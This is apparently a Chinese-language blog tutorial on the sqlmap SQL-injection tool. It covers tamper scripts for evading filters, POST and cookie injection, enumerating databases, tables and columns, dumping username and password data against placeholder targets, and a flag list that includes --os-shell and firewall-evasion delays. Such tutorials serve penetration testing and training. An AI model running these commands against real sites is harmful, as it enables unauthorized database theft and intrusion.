sqlmap过滤连续空格的方法_获取数据

一、指定脚本

tamper=space2comment是SQLMAP的一个参数,用于指定使用space2comment.py脚本进行注入测试时的数据处理方式。具体来说,space2comment.py脚本的作用是将SQLMAP检测目标时所使用的payload中的空格全部替换成注释。通过使用这个参数,可以增加注入测试的成功率。

范例:<<引用:–>sqlmap->tamper,选中space2comment.py文件,并打开(记事本也可以) 。 引用:这段代码为space2comment.py脚本文件的核心代码,其作用是将SQLMAP检测目标时所使用的payload 中的空格全部替换成注释。 2.启动SQLMAP 。 请回答我或者给我介绍或演示一下:–tamper=space2comment是什么意思? tamper=space2comment是SQLMAP的一个参数,用于指定使用space2comment.py脚本进行注入测试时的数据处理方式。具体来说,space2comment.py脚本的作用是将SQLMAP检测目标时所使用的payload中的空格全部替换成注释。通过使用这个参数,可以增加注入测试的成功率。你可以按照以下步骤来使用这个参数:

  1. 打开SQLMAP。
  2. 在命令行中输入--tamper=space2comment
  3. SQLMAP将使用space2comment.py脚本对注入测试的payload进行处理,将其中的空格替换成注释。
  4. 运行注入测试,以提高成功率。

二、post请求

检测「post请求」的注入点,使用BP等工具「抓包」,将http请求内容保存到txt文件中。

-r 指定需要检测的文件,SQLmap会通过post请求方式检测目标。

sqlmap -r bp.txt

三、cookie注入

--cookie 指定cookie的值,单/双引号包裹。

sqlmap -u "http://xx?id=x" --cookie 'cookie'

四、脱库

获取所有内容

sqlmap -u 'http://xx/?id=1' -a

-a 就是 all 的意思,获取所有能获取的内容,会消耗很长时间。

sqlmap过滤连续空格的方法_sql_02

1、获取数据库

--dbs 获取数据库

1、获取数据库版本

sqlmap -u 'http://xx/?id=1' -b

sqlmap过滤连续空格的方法_获取数据_03

最后面显示数据库的版本,这里检测的版本是 5.7.26。

sqlmap过滤连续空格的方法_sql_04

2、获取当前使用的数据库

sqlmap -u 'http://xx/?id=1' --current-db

sqlmap过滤连续空格的方法_数据库_05

在最后面显示当前使用的数据库的名字是 security。


sqlmap过滤连续空格的方法_获取数据_06

3、获取所有数据库

sqlmap -u 'http://xx/?id=1' --dbs

sqlmap过滤连续空格的方法_sql_07

最后面显示所有数据库的名字。

sqlmap过滤连续空格的方法_数据库_08

4、获取表

--tables 获取表

4.1获取表,可以指定数据库
sqlmap -u 'http://xx/?id=1' -D 'security' --tables

sqlmap过滤连续空格的方法_sql_09

最后面显示数据库(security)里所有的表名。

sqlmap过滤连续空格的方法_sql_10

4.2同时获取多个库的表名,库名用逗号分隔。
sqlmap -u 'http://xx/?id=1' -D 'security,sys' --tables

sqlmap过滤连续空格的方法_获取数据_11

4.3不指定数据库,默认获取数据库中所有的表
sqlmap -u 'http://xx/?id=1' --tables

sqlmap过滤连续空格的方法_sql_12

最后面显示每个数据库下都有哪些表。

5、获取字段

--columns 参数用来获取字段。

5.1、获取字段,可以指定库和表

提示:只指定库名但不指定表名会报错。

sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --columns

sqlmap过滤连续空格的方法_数据库_13

最后面显示表(users)中的所有字段。

sqlmap过滤连续空格的方法_数据库_14

5.2、不指定表名,默认获取当前数据库中所有表的字段。

sqlmap -u 'http://xx/?id=1' --columns

6、获取字段类型

--schema 获取字段类型,可以指定库或指定表。不指定则获取数据库中所有字段的类型。

sqlmap -u 'http://xx/?id=1' -D 'security' --schema

最后面显示每个表的字段类型。

sqlmap过滤连续空格的方法_数据库_15


7、获取值(数据)

--dump 获取值,也就是表中的数据。可以指定具体的库、表、字段。

sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' -C 'username,password' --dump

sqlmap过滤连续空格的方法_sql_16

获取指定库中所有表的数据。

sqlmap -u 'http://xx/?id=1' -D 'security' --dump

sqlmap过滤连续空格的方法_sql_17

默认获取表中的所有数据,可以使用 --start --stop 指定开始和结束的行,只获取一部分数据。

sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --start 1 --stop 5  --dump

sqlmap过滤连续空格的方法_数据库_18

五、参数指定

-u 指定目标URL (可以是http协议也可以是https协议)

-d 连接数据库

--dbs 列出所有的数据库

--current-db 列出当前数据库

--tables 列出当前的表

--columns 列出当前的列

-D 选择使用哪个数据库

-T 选择使用哪个表

-C 选择使用哪个列

--dump 获取字段中的数据

--batch 自动选择yes

--smart 启发式快速判断,节约浪费时间

--forms 尝试使用post注入

-r 加载文件中的HTTP请求(本地保存的请求包txt文件)

-l 加载文件中的HTTP请求(本地保存的请求包日志文件)

-g 自动获取Google搜索的前一百个结果,对有GET参数的URL测试

-o 开启所有默认性能优化

--tamper 调用脚本进行注入

-v 指定sqlmap的回显等级

--delay 设置多久访问一次

--os-shell 获取主机shell,一般不太好用,因为没权限

-m 批量操作

-c 指定配置文件,会按照该配置文件执行动作

-data data指定的数据会当做post数据提交

-timeout 设定超时时间

-level 设置注入探测等级

--risk 风险等级

--identify-waf 检测防火墙类型

--param-del="分割符" 设置参数的分割符

--skip-urlencode 不进行url编码

--keep-alive 设置持久连接,加快探测速度

--null-connection 检索没有body响应的内容,多用于盲注

--thread 最大为10 设置多线程

 

--delay

有些web服务器请求访问太过频繁可能会被防火墙拦截,使用--delay就可以设定两次http请求的延时

sqlmap过滤连续空格的方法_获取数据_19

--safe-url

有的web服务器会在多次错误的访问请求后屏蔽所有请求,使用--safe-url 就可以每隔一段时间去访问一个正常的页面。

 

--tamper

语法:--tamper ["脚本名称"]

当调用多个脚本的时候,脚本之间用逗号隔开,调用的脚本在 sqlmap文件夹下的 tamper 文件夹中

sqlmap过滤连续空格的方法_数据库_20

脚本信息

sqlmap过滤连续空格的方法_数据库_21